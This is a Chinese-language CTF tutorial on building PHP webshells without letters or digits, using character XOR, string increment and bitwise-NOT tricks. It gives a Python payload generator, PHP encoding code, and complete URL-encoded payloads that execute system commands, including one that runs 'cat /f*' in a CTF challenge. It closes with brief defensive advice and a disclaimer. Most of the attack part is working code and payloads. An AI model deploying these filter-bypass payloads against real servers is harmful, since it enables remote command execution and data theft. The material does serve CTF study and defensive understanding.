从CTF中学习自增构造webshell
字数 796 2025-08-19 12:42:02

从CTF中学习自增构造WebShell技术详解

一、异或运算构造WebShell

基本原理

  1. 利用PHP中字符异或运算特性:两个字符进行异或运算可以得到新字符
  2. 示例:'A'^'?' 结果为 ~
    • A的ASCII码为65 (二进制: 1000001)
    • ?的ASCII码为63 (二进制: 0111111)
    • 异或结果: 1111110 (即~)

构造步骤

  1. 寻找未被过滤的字符:通过遍历ASCII码(0-255)并过滤掉数字和字母
  2. 构造目标字符串:如"system"
  3. 匹配字符对:找到两个未被过滤的字符,其异或结果等于目标字符
  4. URL编码处理:对生成的不可见字符进行URL编码

Python实现代码

import re
import urllib.request

a = []
ans1 = ""
ans2 = ""

# 获取未被过滤的字符(非数字字母)
for i in range(0,256):
    c = chr(i)
    tmp = re.match(r'[0-9]|[a-z]', c, re.I)
    if(tmp): continue
    else: a.append(i)

# 构造目标函数名和参数
mya = "system"  # 目标函数名
myb = "dir"     # 参数

def myfun(k, my):
    global ans1, ans2
    for i in range(0, len(a)):
        for j in range(i, len(a)):
            if(a[i]^a[j] == ord(my[k])):
                ans1 += chr(a[i])
                ans2 += chr(a[j])
                return

# 构造函数名部分
for x in range(0, len(mya)):
    myfun(x, mya)
data1 = "('"+urllib.request.quote(ans1)+"'^'"+urllib.request.quote(ans2)+"')"

# 构造参数部分
ans1 = ""
ans2 = ""
for k in range(0, len(myb)):
    myfun(k, myb)
data2 = "(\""+urllib.request.quote(ans1)+"\"^\""+urllib.request.quote(ans2)+"\")"

print(data1 + data2)

二、自增构造WebShell

基本原理

  1. 利用PHP的自增运算符++从已知字符生成其他字符
  2. 示例:从"A"开始自增可得到后续字母

构造步骤

  1. 初始化变量为数组:$_=[];
  2. 转换为字符串:$_=''.$_; (得到"A")
  3. 通过自增获取后续字符:
    $_++; // B
    $_++; // C
    $_++; // D
    // ...
    
  4. 组合字符构造"GET":
    $__ = $_; // 保存当前字符
    $_++; $_++; $_++; // 继续自增
    $___ = $_; // 保存新字符
    // 组合成"GET"
    $_ = $___.$__.$_;
    $_ = '_'.$_; // 得到"_GET"
    

最终Payload

URL编码后的形式:

%24_%3D%5B%5D.''%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D'_'.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B

三、取反构造WebShell

基本原理

  1. 利用两次取反(~)得到原字符的特性
  2. 通过URL编码不可见字符绕过过滤

PHP实现代码

<?php
$ans1 = 'system'; // 函数名
$ans2 = 'dir';    // 命令

$data1 = ('~'.urlencode(~$ans1)); // 第一次取反并编码
$data2 = ('~'.urlencode(~$ans2)); // 第一次取反并编码

echo ('('.$data1.')('.$data2.')'); // 输出: (~%8C%86%8C%8B%9A%92)(~%9A%89%9E)

最终Payload

(~%8C%86%8C%8B%9A%92)(~%9A%89%9E)

四、实战案例:青少年CTF之ezbypass

题目限制

  1. 代码长度 ≤ 105字节
  2. 必须是字符串
  3. 不能包含字母、数字和@符号

构造Payload

code=ff=%2b%2b$_;$%ff=%2b%2b$_.$%ff;$_%2b%2b;$_%2b%2b;$%ff.=%2b%2b$_;$%ff.=%2b%2b$ff;system&__=cat /f*

技术要点

  1. 使用自增构造变量名
  2. 通过短变量名减少长度
  3. 利用URL编码绕过字符限制

五、防御措施

  1. 输入过滤:严格过滤特殊字符和运算符
  2. 禁用危险函数:如eval()system()
  3. 长度限制:限制输入长度防止复杂payload
  4. 字符集限制:只允许特定字符集
  5. WAF防护:部署Web应用防火墙检测异常请求

以上技术仅用于CTF比赛和安全研究,请勿用于非法用途。

从CTF中学习自增构造WebShell技术详解 一、异或运算构造WebShell 基本原理 利用PHP中字符异或运算特性:两个字符进行异或运算可以得到新字符 示例: 'A'^'?' 结果为 ~ A的ASCII码为65 (二进制: 1000001) ?的ASCII码为63 (二进制: 0111111) 异或结果: 1111110 (即~) 构造步骤 寻找未被过滤的字符 :通过遍历ASCII码(0-255)并过滤掉数字和字母 构造目标字符串 :如"system" 匹配字符对 :找到两个未被过滤的字符,其异或结果等于目标字符 URL编码处理 :对生成的不可见字符进行URL编码 Python实现代码 二、自增构造WebShell 基本原理 利用PHP的自增运算符 ++ 从已知字符生成其他字符 示例:从"A"开始自增可得到后续字母 构造步骤 初始化变量为数组: $_=[]; 转换为字符串: $_=''.$_; (得到"A") 通过自增获取后续字符: 组合字符构造"GET": 最终Payload URL编码后的形式: 三、取反构造WebShell 基本原理 利用两次取反(~)得到原字符的特性 通过URL编码不可见字符绕过过滤 PHP实现代码 最终Payload 四、实战案例:青少年CTF之ezbypass 题目限制 代码长度 ≤ 105字节 必须是字符串 不能包含字母、数字和@符号 构造Payload 技术要点 使用自增构造变量名 通过短变量名减少长度 利用URL编码绕过字符限制 五、防御措施 输入过滤 :严格过滤特殊字符和运算符 禁用危险函数 :如 eval() 、 system() 等 长度限制 :限制输入长度防止复杂payload 字符集限制 :只允许特定字符集 WAF防护 :部署Web应用防火墙检测异常请求 以上技术仅用于CTF比赛和安全研究,请勿用于非法用途。